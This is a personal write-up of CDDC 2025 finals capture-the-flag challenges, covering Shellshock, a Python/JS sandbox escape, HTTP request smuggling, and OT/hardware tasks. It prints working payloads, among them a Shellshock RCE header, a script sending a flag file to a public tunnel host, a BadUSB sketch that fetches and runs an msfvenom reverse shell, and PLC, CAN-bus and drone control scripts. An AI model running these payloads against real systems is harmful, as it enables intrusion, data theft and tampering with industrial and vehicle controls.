CDDC 2025 Finals Writeups

This year's CDDC turned out to be my best performing CDDC, mainly due to the OT challenges lmao. It was quite fun overall.

Screenshot 2025-06-12 160831.png

Sanity Check

Pasted image 20250611134036.png|500

the flag is in the description lmao.

Flash

These were mainly textbook style Cybersecurity Challenges, They maybe had a slight twist to it but for the most part, rather safe,

ShellShock

Description

Pasted image 20250611150320.png|500

Pasted image 20250611150337.png|500

Solution

Just Gemini Bro.

The shellshock vulnerability is quite famous, so I asked Google Gemini on how to exploit this. Gemini gave me this payload

Pasted image 20250611145159.png

You can just tweak the echo command under user agent for RCE. I sent this into Burp Repeater

GET /cgi-bin/login.cgi?username=admin&password=Str0ngP4ss HTTP/1.1
Host: chal.h4c.cddc2025.xyz:13273
Upgrade-Insecure-Requests: 1
User-Agent: () { :; }; echo [ $(pwd) ]; echo Command; /bin/cat /flag 2>&1 ; pwd
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Pasted image 20250611150233.png

Flag

CDDC2025{shocked_you_found_it}

PyJsJail

Description

Pasted image 20250611144013.png|500

Pasted image 20250611144002.png|500

We are given a URL and this code

# server.py
import subprocess
import tempfile
import os
from flask import Flask, request, jsonify
from hexdump import hexdump 
import re 

app = Flask(__name__)

FLAG = open("/flag.txt").read().strip()

@app.route("/challenge", methods=["POST"])
def challenge():
    payload = request.json.get("payload", "")

    results = {}
    interpreters = {
        "python": ["python3", "-c", payload],
        "javascript": ["node", "-e", payload]
    }

    for lang, cmd in interpreters.items():
        try:
            BLOCKED_KEYWORDS = [
                    "require",
                    "process",
                    "child_process",
                    "Function",
                    "constructor",
                    "globalThis",
                    "module",
                    "exports",
                    "Buffer",
                    "__proto__",
                    "Reflect",
                    "Object",
                    "`",
                    "flat",
                    "map",
                    "filter",
                    "constructor",
                    "toString",
                    "call",
                    "apply",
                    "bind",
                    "new",
                    #
                    "import",
                    "open",
                    "os",
                    "system",
                    "subprocess",
                    "input",
                    "flag",
                    "console",
                    "require",
                    "__import__",
                    "__builtins__"
            ]

            BLOCK_PATTERN = re.compile(r"|".join([fr"\b{kw}\b" for kw in BLOCKED_KEYWORDS]), re.IGNORECASE)
            if BLOCK_PATTERN.search(payload):
                return jsonify({"error": "Blocked keyword detected."}), 403

            result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=3)

            output = result.stdout.decode().strip()
            if FLAG in output:
                results[lang] = f"SUCCESS"
            else:
                results[lang] = f"FAILURE"
                return  jsonify(results)
        except Exception as e:
            results[lang] = f"Error!"
            return  jsonify(results)
    else : 
        results['flag'] = FLAG 

    return jsonify(results)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

Solution

Eventually I settled on this attack approach

  1. Bypass the Python Blacklist for RCE (the bypass turned out to be easy)
    1. Use exec for RCE
    2. Split up the RCE payload and concatenate to bypass the blacklist
  2. Use RCE to exfiltrate the flag (Read the flag and Send to a netcat listener)

The solution files are as such

solve.py

import requests
import json

url = "http://chal.h4c.cddc2025.xyz:13273/challenge" # Replace with actual challenge URL
#url = "http://127.0.0.1:5000/challenge"

def python_parsing(data):
    out = "+".join([f'chr({ord(c)})' for c in list(data)])
    return out

with open("payload.py") as f:
    python_payload = f.read()
    
cmd = python_parsing(python_payload)
#cmd = python_parsing("import os; os.system(\"cat flag.txt\")")
print(cmd)
data = {
    "payload": f"print(exec({cmd}))"
}

headers = {
    "Content-Type": "application/json"
}

response = requests.post(url, data=json.dumps(data), headers=headers)

print(response.json())

payload.py

import socket
import os

def send_file_over_socket(filepath: str, host: str, port: int):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    print(f"Attempting to connect to {host}:{port}...")
    sock.connect((host, port))
    print(f"Successfully connected to {host}:{port}")

    file_size = os.path.getsize(filepath)
    size_header = str(file_size).encode('utf-8').ljust(10)
    sock.sendall(size_header)
    print(f"Sending file size ({file_size} bytes) header: {size_header.decode().strip()}")

    with open(filepath, 'rb') as f:
        bytes_sent = 0
        while True:
            bytes_read = f.read(4096)
            if not bytes_read:
                break
            sock.sendall(bytes_read)
            bytes_sent += len(bytes_read)
            print(f"\rSent {bytes_sent}/{file_size} bytes...", end='')

    print(f"\nFile '{filepath}' sent successfully.")
    print("Closing socket.")
    sock.close()

if __name__ == "__main__":
    #target_host = "127.0.0.1"
    #target_port = 4444
    target_host = "rnkye-223-255-254-233.a.free.pinggy.link"
    target_port = 44051
    file_to_send = "flag.txt"
    send_file_over_socket(file_to_send, target_host, target_port)

Running the Command

(base) ┌──(hacker㉿HackerbookAce)-[/mnt/c/Users/zunmun/Documents/Stuff/Tools/Workspace/2025/CDDCFinals]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 51634
36        CDDC2025{P0lyg10t_J4AILBR3AK_FUN!!}

(base)

HTTP Request Smuggling

Description

Pasted image 20250611171055.png|500

Solution

The idea with the challenge is to access /grant_access endpoint (it's not locked by the server code) while bypassing the proxy (which blocks access to it).

# app.py
from flask import Flask, render_template, request, redirect, url_for, make_response, session
import jwt
from datetime import datetime, timedelta
import os
import hashlib

app = Flask(__name__)
app.secret_key = os.urandom(24)

def load_flag():
    try:
        with open("FLAG", "r") as f:
            return f.read().strip()
    except IOError:
        return "FLAG file not found!"

FLAG = load_flag()

app.config["JWT_SECRET_KEY"] = "7His_iS_Jwt_SEcrE7_KEy"

def check_access_token(token):
    try:
        payload = jwt.decode(token, app.config['JWT_SECRET_KEY'], algorithms=["HS256"])
    except Exception:
        return None
    return payload

grants = set()

def token_fingerprint(token):
    return hashlib.sha256(token.encode()).hexdigest()

@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    error = None
    if request.method == 'POST':
        user = request.form.get('username')
        pw = request.form.get('password')
        if user and pw:
            payload = {
                'id': user,
                'exp': datetime.utcnow() + timedelta(days=1)
            }
            token = jwt.encode(payload, app.config['JWT_SECRET_KEY'], algorithm="HS256")
            if isinstance(token, bytes):
                token = token.decode('utf-8')
            resp = make_response(redirect(url_for('timegate')))
            resp.set_cookie('token', token)
            return resp
        else:
            error = "Both username and password are required."
    return render_template('login.html', error=error)

@app.route('/timegate', methods=['GET', 'POST'])
def timegate():
    token = request.cookies.get('token')
    payload = check_access_token(token) if token else None
    if not payload:
        return redirect(url_for('login'))
    current_time = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S UTC")
    return render_template('timegate.html', current_time=current_time)

@app.route('/grant_access', methods=['GET', 'POST'])
def grant_access():
    token = request.cookies.get('token')
    payload = check_access_token(token) if token else None
    if not payload:
        return redirect(url_for('login'))
    fingerprint = token_fingerprint(token)
    grants.add(fingerprint)
    return render_template('grant_access.html')

@app.route('/time_travel', methods=['GET', 'POST'])
def time_travel():
    token = request.cookies.get('token')
    payload = check_access_token(token) if token else None
    if not payload:
        return redirect(url_for('login'))
    fingerprint = token_fingerprint(token)
    if fingerprint not in grants:
        return "Permission denied. You must visit /grant_access first.", 403
    return render_template('time_travel.html', flag=FLAG)

if __name__ == '__main__':
    app.run()

On looking at the docker-compose, you can identify that the proxy used is haproxy.

version: '3'

services:
  smuggling:
    build: .

  smuggling_haproxy:
    image: haproxy:1.9.10
    volumes:
      - ./haproxy:/usr/local/etc/haproxy
    ports:
      - "10001:8000"

Typically for HTTP Request Smuggling Challenges (based on experience in CTFs and learning from PortSwigger Academy), HTTP Request Smuggling Challenges are typically CVEs. On some Googling, I found this link describing the CVE and how to exploit it.

https://gist.github.com/ndavison/4c69a2c164b2125cd6685b7d5a3c135b

This lead me to this attack chain

  1. Login and get a JWT token
  2. Use Burp Suite for HTTP Request Smuggling to send a request to the /grant_access endpoint
  3. Get the flag normally through /time_travel

I derived this payload to put into Burp Repeater based on the Github Gist. Can send this multiple times (quite fast within each other) to access the endpoint

POST /timegate HTTP/1.1
Host: chal.h4c.cddc2025.xyz:19853
Content-Length: 50
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6InRlc3QiLCJleHAiOjE3NDk3MTYzNTh9.0k_RrDDXu1ZQNRXx7z-I01wtNF4UsJWybqd-qDDDyrM
Connection: keep-alive
Transfer-Encoding:chunked

1
A
0

POST /grant_access HTTP/1.1
X-Foo: bar

Pasted image 20250611171258.png

Then retrieve the flag

Pasted image 20250611171316.png|500

Flag

CDDC2025{timE_Tr4ve1_is_SO_Fun!}

Back

These are mainly the OT/ Hardware challenges, where you get to go on stage and test them out. I liked them because they were an excuse to prove to myself I can do hardware CTF!

The standard workflow is that

  1. You get a solve script locally
  2. You queue up/ get a buzzer to attempt the challenge on stage
  3. If you manage to complete it the organiser will show you a QR code with the flag

Pasted image 20250613020525.png|300 Pasted image 20250613020514.png|500

Centrifuge

Description

Pasted image 20250611170210.png|500

Solution Outline

TLDR: Get the Teensy to type in stuff into the computer to run a reverse shell, and use the reverse shell to run the desired exe

Slightly more detailed approach

  1. Get the Teensy to run powershell to download a stageless reverse shell payload
    1. You can use Google Gemini or another LLM to generate the code (Tell it to generate a Teensy script to run a reverse shell on your computer, or something like that)
    2. Make sure the string in Keyboard.print is not too long to avoid overflowing the keyboard buffer. (I found this by Googling why teensy keyboard print sometimes skips characters. More information at https://arduino.stackexchange.com/questions/32107/keyboard-println-missing-characters-when-i-print-long-strings)
    3. I just googled something like "how to download and run exe from webserver in powershell" to get the Win-R payload
    4. Make sure to configure USB Keyboard https://www.pjrc.com/teensy/td_keyboard.html
  2. Host a local Webserver which has your reverse shell payload
    1. I used msfvenom to generate a reverse shell payload
    2. I wanted a sure-fire reverse shell payload, and all the other payloads from revshells.com had iffy results on my computer. From my past experience, payloads from msfvenom always works so i stuck with that.
  3. Host a local netcat listener for the target computer to connect to
  4. Run the code

Notes

  1. For hosting of the servers, I would do it in Windows instead of through WSL (because you have to configure/bypass the WSL Firewall otherwise).
    1. 1 run was wasted because cannot connect to inner wsl services

Teensy Setup

Here are some images of the Teensy 3.2
Pasted image 20250613020015.png|280 Pasted image 20250613020039.png|500

Set up the teensy to run our Powershell code. You can install the Arduino IDE and follow the guide on how to install
https://www.pjrc.com/teensy/td_download.html

Make sure to configure the Teensy to USB Keyboard mode to upload
Pasted image 20250611153259.png

Teensy Code

// This code is for a Teensy microcontroller, programmed using the Arduino IDE.
// It emulates a USB keyboard to execute a PowerShell command on a connected Windows PC.

#include <Keyboard.h> // Include the Keyboard library for HID emulation

void setup() {
  // Start the USB keyboard communication.
  // This is crucial for the Teensy to be recognized as a keyboard.
  Keyboard.begin();

  // Give the computer some time to recognize the Teensy as a keyboard
  // and for the user to be ready (e.g., focused on the desktop).
  // A longer delay might be necessary depending on the target system.
  delay(3000); // Wait for 3 seconds

  // --- Step 1: Open the Run dialog (Windows Key + R) ---
  // Press and hold the Windows key (GUI key)
  Keyboard.press(MODIFIERKEY_GUI);
  // Press 'r'
  Keyboard.press('r');
  // Release both keys
  Keyboard.releaseAll();
  delay(500); // Short delay to allow the Run dialog to appear

  // --- Step 2: Type the PowerShell command into the Run dialog ---
  // The PowerShell command is designed to be executed directly from the Run dialog.
  // -NoP: No Profile (don't load user profiles, faster execution)
  // -NonI: Non Interactive (prevents interactive prompts)
  // -Exec Bypass: Execution Policy Bypass (allows script execution without policy checks)
  // -WindowStyle Hidden: Runs the PowerShell window hidden in the background
  // -Command: Specifies the command to run.
  // The command itself creates a simple text file on the desktop.
  //Keyboard.print("powershell -NoP -NonI -Exec Bypass -WindowStyle Hidden -Command \"Add-Content -Path \\\"$env:USERPROFILE\\Desktop\\TeensyOutput.txt\\\" -Value \\\"Hello from Teensy! This file was created by PowerShell.\\\"\"");
  Keyboard.print("powershell.exe -NoProfile -WindowStyle Hidden -Command");
  delay(2000);
  Keyboard.print("\"(New-Object System.Net.WebClient).DownloadFile(");
  delay(2000);
  Keyboard.print("'http://192.168.2.101:8888/evil.exe'");
  delay(2000);
  Keyboard.print(", (Join-Path $env:TEMP 'evil10.exe'));");
  delay(2000);
  Keyboard.print("Start-Process (Join-Path $env:TEMP 'evil10.exe')\"");
  delay(2000); 
  Keyboard.press(KEY_ENTER);
  Keyboard.release(KEY_ENTER);
  delay(1000); 


  // delay(10000); // Short delay for typing
  // Keyboard.press(KEY_ENTER);
  // Keyboard.release(KEY_ENTER);
}

void loop() {
  // Nothing needs to be done in the loop for this simple example,
  // as the actions are performed once in the setup function.
  // For more complex interactions, you would add logic here.
}

CLI Logs

Generate the payload using msfvenom

(base) ┌──(hacker㉿HackerbookAce)-[/tmp/payload]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.2.101 LPORT=4444 -f exe -o evil.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: evil.exe

(base) ┌──(hacker㉿HackerbookAce)-[/tmp/payload]
└─$ 

Serve a python web server hosting the reverse shell payload

PS C:\Users\zunmun\Desktop> python3 -m http.server 8888
Serving HTTP on :: port 8888 ]:8888/ ...
::ffff:192.168.2.99 - - [11/Jun/2025 16:59:02] "GET /evil.exe HTTP/1.1" 200 -

Reverse Shell Listener

PS C:\Users\zunmun> Desktop/nc64.exe -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.2.101] from (UNKNOWN) [192.168.2.99] 56326
Microsoft Windows [Version 10.0.22621.4317]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\System32\WindowsPowerShell\v1.0>whoami
whoami
cisteam\sisai

C:\Windows\System32\WindowsPowerShell\v1.0>cd C:\
cd C:\

C:\>dir
dir
 Volume in drive C is Windows
 Volume Serial Number is 4890-F642

 Directory of C:\

09/12/2024  11:46 AM    <DIR>          $WINDOWS.~BT
08/24/2014  09:26 AM    <DIR>          2.57.00-RSLinxLite-A-DVD
02/22/2024  01:33 AM           112,136 appverifUI.dll
12/22/2024  04:49 PM    <DIR>          Burpsuite
10/30/2024  11:27 AM    <DIR>          EBpro
06/11/2025  05:14 PM    <DIR>          EWS
05/25/2023  04:44 PM    <DIR>          GNURadio-3.10
04/30/2024  01:32 PM    <DIR>          inetpub
11/06/2024  12:29 PM    <DIR>          Lexmark
05/02/2024  05:34 PM    <DIR>          Melservo
11/09/2023  01:36 PM    <DIR>          netcat-win32-1.12 - Copy
05/07/2022  02:24 PM    <DIR>          PerfLogs
07/04/2023  09:46 PM            37,664 powercat.ps1
06/09/2025  02:46 PM    <DIR>          Program Files
06/09/2025  02:20 PM    <DIR>          Program Files (x86)
04/30/2024  01:09 PM    <DIR>          RA
06/11/2025  01:22 PM    <DIR>          Temp
07/05/2023  11:38 AM    <DIR>          tools
08/27/2024  05:17 PM    <DIR>          Users
02/22/2024  01:34 AM            66,328 vfcompat.dll
02/18/2025  01:42 PM    <DIR>          WCH.CN
06/11/2025  05:51 PM    <DIR>          Windows
               3 File(s)        216,128 bytes
              19 Dir(s)  20,647,378,944 bytes free

C:\>cd EWS
cd EWS

C:\EWS>dir
dir
 Volume in drive C is Windows
 Volume Serial Number is 4890-F642

 Directory of C:\EWS

06/11/2025  05:14 PM    <DIR>          .
12/01/2023  12:07 PM         4,939,112 overload_centrifuge.exe
               1 File(s)      4,939,112 bytes
               1 Dir(s)  20,646,850,560 bytes free

C:\EWS>overload_centrifuge.exe
overload_centrifuge.exe

C:\EWS>cmd
cmd
Microsoft Windows [Version 10.0.22621.4317]
(c) Microsoft Corporation. All rights reserved.

C:\EWS>overload_centr   

SPFCS

Description

Pasted image 20250612103729.png|500

Pasted image 20250612103754.png|500

SFPCS (Spent Fuel Pool Cooling System) is an essential safety system for maintaining the cooling of the Spent Fuel Pool (SFP) where used nuclear fuel is stored within a nuclear power plant. This system includes pumps, valves, heat exchangers, sensors, and more, to stably maintain the temperature of the spent fuel pool, and it is controlled via a PLC (Programmable Logic Controller). For normal operation, the PLC monitors various values such as water level, temperature, and flow rate, and automatically starts cooling pumps or controls valves under specific conditions.

* Testbed Scenario: Change the tag value to open Value3!
Currently, the SFPCS is connected to the PLC via TIA Portal in debug mode. The HMI displays a "Value3" field as locked, indicating that a specific control condition has not been met.

* Goal
Force a change to a PLC tag's value to activate the hidden "Value2?" field on the HMI and obtain the flag.

* Hint
Use the Force Table function in TIA Portal


Please head to the Queue Management Area to the right side of the stage, to register your team and queue up for the challenge

Solution

TLDR

  1. Go up to the Stage, they'll ask you to access a computer already there. It has TIA Portal
  2. In the left sidebar
    1. Find the PLC Tags
    2. Find the Force Table Function
  3. Key in an entry for the Value 3 field and force the value to be "1"
  4. Run the forcing (there's a play button)

It's really GUI based so just go by instinct.

Pasted image 20250613021303.png|600

Pasted image 20250613021335.png|700

Ballast Water Management System

Description

Pasted image 20250612080021.png|500

Pasted image 20250612090943.png|500

Solution

TLDR: Connect your computer to the system, and use the Modbus GUI to modify the relevant registers.

The Modbus GUI used is https://github.com/serhmarch/ModbusTools

I will not really go through how specifically to use the software, but the idea is to

  1. Configure the software to connect to 192.168.0.4, port 502
  2. Write to Register Addresses 400001 to 400003
    1. The description says 1-3 but from my past internship experience, registers only start from a higher address (in this case i think you add 400000) in PLCs. The lower addresses are for coils and other smaller data types in Modbus/ PLCs

Pasted image 20250612090615.png

Pasted image 20250613015252.png|500

Tower Crane

Description

Pasted image 20250612095214.png|500

Pasted image 20250612095231.png|600

We have enough data to control the Tower Crane. But, we don't have much time. Please control the Tower Crane in 3 minutes.
 
Your mission is to move the crane to the designated drop area. Get to the stage to identify the location of the drop area.

This challenge requires GNU Radio Companion (GRC). In GRC, reverse the flow of the blocks and then replay the given signal file just enough times to get to the designated drop area.

Please head to the Queue Management Area to the right side of the stage, to register your team and queue up for the challenge.

Setting up GNU Radio and HackRF

In this challenge you'll need to use the HackRF Software Defined Radio which was quite fun, but I figured setting it up might be a challenge to some so here are the steps I took to get it working.

Pasted image 20250613015328.png|500

GNURadio
I had GNURadio and GNURadio Companion installed in WSL beforehand, can just search on how to install on Linux.

However, when opening the grc file, the osmosdr is missing.
Pasted image 20250611235557.png|500

To solve that, I just used apt to install the necessary package.

sudo apt install gr-osmosdr

HackRF Setup
I basically followed this guide to set up the HackRF tools
https://github.com/whiteSHADOW1234/HackRF-One-for-Windows

To access the HackRF within WSL, I used usbipd to attach it to the WSL instance. You can learn more about it at https://github.com/dorssel/usbipd-win
The commands would be something like this

usbipd list
usbipd bind --busid 1-3
usbipd attach --wsl --busid 1-3

Solution

We were given a grc file.

Pasted image 20250612093515.png

We just needed to reverse the process using blocks (it's quite intuitive just drag and drop blocks), connect/ bind the HackRF, and play the graph

Pasted image 20250612095449.png

The crane arm should rotate anticlockwise and knock down the item. This reminds me of my Servo PWM challenge for GreyCTF Summit lol, where we used GreyCat to knock down the bird lmao.
Pasted image 20250613015445.png|500
Check https://youtube.com/shorts/X2f2wVahn7M?si=O8NGfkaQpTjH9wkz for solve video.

After this challenge I was so convinced I impulse bought a HackRF. TX is just too good.

Black Out

Description

Pasted image 20250612113554.png|500

Pasted image 20250612113619.png|500

We have intelligence that Cypher, the AI Droid villain has infiltrated to the control systems in the city. 
Let’s put them in the dark and take them down, shall we?

Note: The tag that needs to be changed is "MX2."
192.168.1.4 - PLC address

This must be your attacker IP : 192.168.1.101


Please head to the Queue Management Area to the right side of the stage, to register your team and queue up for the challenge.

Pasted image 20250613020943.png|700

Side Note - OPC UA Rabbit hole

At first, when I looked at the pcap, I thought the challenge was to connect to the OPC UA service to exploit (due to the relevant OPC UA packets in the pcap).

Pasted image 20250612103059.png

However, on connecting to the PLC and nmaping it, the port was closed so it probably wasn't OPC UA. The PLC datasheet and the nmap suggested other services to be exploited.

(base) ┌──(hacker㉿HackerbookAce)-[~/Stuff/gr-osmosdr/build]
└─$ nmap  192.168.1.4
Starting Nmap 7.94 ( https://nmap.org ) at 2025-06-12 11:01 +08
Nmap scan report for 192.168.1.4
Host is up (0.38s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE
2002/tcp open  globe
2004/tcp open  mailbox

Nmap done: 1 IP address (1 host up) scanned in 1.31 seconds

(base) ┌──(hacker㉿HackerbookAce)-[~/Stuff/gr-osmosdr/build]
└─$

Solution

On looking at the PLC Datasheet (and you can check the pcap also), you would notice that the PLC has the XGT protocol

Pasted image 20250612111616.png|700

I used Gemini to generate a script to interact with this protocol. By fiddling around with it I would get the flag.

#pip install PyXGT
from PyXGT.LS import plc_ls
conn = plc_ls("192.168.1.4",2004) #PLC LS IP and port: 2004 (TCP XGT server)


for i in range(0, 1000):
    val = conn.command("XGB", "read", "bit", f"M{i}") # read Bit M70 return [1] or [0]
    print(val)
    # Turn Off
    val = conn.command("XGB", "write", "bit", f"M{i}", "0") # read Bit M70 return [1] or [0]
    #print(val)

    # Turn Off
    #val = conn.command("XGB", "write", "bit", f"M{i}", "1") # read Bit M70 return [1] or [0]
    #print(val)


val = conn.command("XGB", "write", "bit", "MX2", "1") # read Bit M70 return [1] or [0]
print(val)

Pasted image 20250613021035.png|700


Other

ECU1

Description

Pasted image 20250612123418.png|600
Pasted image 20250612123452.png|600

Solution

We are given 2 log files of CAN data. We can open them into Google Sheets (you can copy paste the logs and filter) and identify the can messages which differ between files

Pasted image 20250612123557.png|400

Pasted image 20250612123606.png|400

In the above images, the Diff CAAN ID and Diff data fields compares the current entry with the previous entry. If they are different it puts false.
From these, we identified that the CAN IDs 66 and 17B differ between the 2 files.

We then went up to stage and told them the 2 CAN IDs. The organisers will key it into the program, and if the CAN IDs are correct, you'll get the flag.

Pasted image 20250613015903.png|500

ECU2

Description

Pasted image 20250612145614.png|500

Pasted image 20250612145633.png|500

Pasted image 20250613015942.png|500

Solution

tbh I just trialed and error/ binary searched the CAN bytes until I got the flag. Some Notes

  1. It's actually in little endian
  2. You can find the CAN format on github
import can
import time

# CAN example settings
can_id = 0x386 # 886
data_og = [0x32, 0x01, 0x32, 0x01, 0x32, 0x01, 0x32, 0x01]
data = [0x32, 0x01, 0x32, 0xFF, 0x32, 0x01, 0x32, 0x01] #  139 -

data = [0x32, 0x01, 0x32, 0xFF, 0x32, 0x01, 0x32, 0x01] #  139 -
data = [0x32, 0x01, 0x11, 0xC0, 0x32, 0x01, 0x32, 0x01] #  8km/h
data = [0x32, 0xFF, 0x11, 0xC0, 0x32, 0xFF, 0x32, 0xFF] #  240km/h 
data = [0x10, 0xF9, 0x10, 0xF9, 0x32, 0x01, 0x32, 0x01]#  240km/h 

data_to_try = [
    [0x32, 0x01] * 4, #  10km/h - by right -  11
    [0x72, 0x01] * 4, #  Try 20km/h?
    [0x72, 0x01] * 4, #  Try 80km/h?
    [0x32, 0xFF] * 4, #  240km/h?
    [0x10, 0xF9] * 4, #  guess totally
    [0x72, 0xFF] * 4, #  240km/h 
    [0xF2, 0x01] * 4, #  Try 20km/h?
    
]

#[0x32, 0x01] # 10km/h      # 0110
#[0xA0, 0x01] * 4 # 15 km/h # 1010
#[0x32, 0xFF] * 4, #  240km/h?
data = [0x32, 0xFF] * 4 #  

# Binary Searching the strat lmao
data = [0x32, 0x10, 0xF9, 0x10, 0xF9, 0x10, 0xF9, 0x01] # 109km/h
#             ------------
data = [0x32, 0x11, 0xC0, 0x11, 0xC0, 0x11, 0xC0, 0x01] # 114
data = [0x32, 0x11, 0xFF, 0x11, 0xFF, 0x11, 0xFF, 0x01] # 116
data = [0x32, 0x13, 0xFF, 0x13, 0xFF, 0x13, 0xFF, 0x01] # 128 (add 00000010_00000000) -> +12
data = [0x32, 0x17, 0xFF, 0x17, 0xFF, 0x17, 0xFF, 0x01] # 153 (add 00000100_00000000)
data = [0x32, 0x15, 0xFF, 0x15, 0xFF, 0x15, 0xFF, 0x01] # 140

data = [0x32, 0x16, 0xFF, 0x16, 0xFF, 0x16, 0xFF, 0x01] # 146
data = [0x32, 0x16, 0x81, 0x16, 0x81, 0x16, 0x81, 0x01] # 143
data = [0x32, 0x16, 0x42, 0x16, 0x42, 0x16, 0x42, 0x01] # 142


#data = [0x32, 0x1F, 0xFF, 0x1F, 0xFF, 0x17, 0xFF, 0x01] # 128

# 32 -> 0011_0010
# Initialize CAN bus (PCAN-USB)
bus = can.interface.Bus(channel='PCAN_USBBUS1', bustype='pcan', bitrate=500000)

# Infinite loop to send CAN messages every 10ms
while True:
    for i in range(5000):
        msg = can.Message(arbitration_id=can_id, data=data, is_extended_id=False)
        try:
            bus.send(msg)
            print(f"Sent: ID=0x{can_id:X}, Data={data}")
        except can.CanError:
            print("Send failed")
        time.sleep(0.01)  # 10 ms interval

You pass them the python code for them to run on their laptop. If it reaches exactly 142km/h you get the flag.

Move Drone

tbh idk how my team even solved it we just tried to run python code and netcat to the port. We had connection issues somewhat but the drone moved so idk man.

from dronekit import connect, VehicleMode, LocationGlobalRelative
import time

# --- Connection to the Vehicle ---
# Connect to the Vehicle. For SITL (Software In The Loop) simulation,
# you can use 'tcp:127.0.0.1:5760' or similar. For a real vehicle,
# it might be a serial connection like '/dev/ttyACM0' (Linux) or a UDP
# connection.
connection_string = 'tcp:rnudg-122-11-214-104.a.free.pinggy.link:39815' # Example for SITL
# connection_string = '/dev/ttyACM0' # Example for a real drone via USB

print(f"Connecting to vehicle on: {connection_string}")
vehicle = connect(connection_string, wait_ready=True)

print("Vehicle connected!")


def arm_and_takeoff(aTargetAltitude):
    """
    Arms vehicle and flies to aTargetAltitude.
    """
    print("Basic pre-arm checks")
    # Don't try to arm until autopilot is ready
    while not vehicle.is_armable:
        print(" Waiting for vehicle to initialise...")
        time.sleep(1)

    print("Arming motors")
    # Copter should arm in GUIDED mode
    vehicle.mode = VehicleMode("GUIDED")
    vehicle.armed = True

    # Confirm vehicle armed before attempting to take off
    while not vehicle.armed:
        print(" Waiting for arming...")
        time.sleep(1)

    print(f"Taking off to {aTargetAltitude} meters!")
    vehicle.simple_takeoff(aTargetAltitude)  # Take off to target altitude

    # Wait until the vehicle reaches a safe height before proceeding
    while True:
        print(f" Altitude: {vehicle.location.global_relative_frame.alt:.2f}")
        # Break and return from function just below target altitude.
        if vehicle.location.global_relative_frame.alt >= aTargetAltitude * 0.95:
            print("Reached target altitude")
            break
        time.sleep(1)

# Example usage:
# arm_and_takeoff(10) # Take off to 10 meters
def goto_location(latitude, longitude, altitude, groundspeed=5):
    """
    Sends the vehicle to a specific global location.
    """
    target_location = LocationGlobalRelative(latitude, longitude, altitude)
    vehicle.groundspeed = groundspeed # Set speed
    print(f"Going towards: {target_location}")
    vehicle.simple_goto(target_location)

    # You might want to add a loop here to wait until the drone reaches the target
    # or is close enough, as simple_goto doesn't block.
    # For example:
    # while vehicle.mode.name == "GUIDED":
    #     remaining_distance = get_distance_metres(vehicle.location.global_relative_frame, target_location)
    #     print(f"Distance to target: {remaining_distance:.2f} meters")
    #     if remaining_distance <= 1: # Within 1 meter of target
    #         print("Reached target")
    #         break
    #     time.sleep(1)

# Example usage:
goto_location(1.2839505692765334, 103.85911722533831, 20) # Go to a specific Lat/Lon at 20m altitude

At one point we were

  1. Connecting Laptop 1 to the challenge laptop
  2. Tunneling the Drone Simulation Port (5760) out to Laptop 2 using pinggy
  3. Running the code on Laptop 2
  4. Netcat to the port using Laptop 1

Then it somehow moved wtf?

Pasted image 20250613020150.png|500

Flag

CDDC2025{Y0uUu_C3n_CcC0N7r0L_DDR0n3}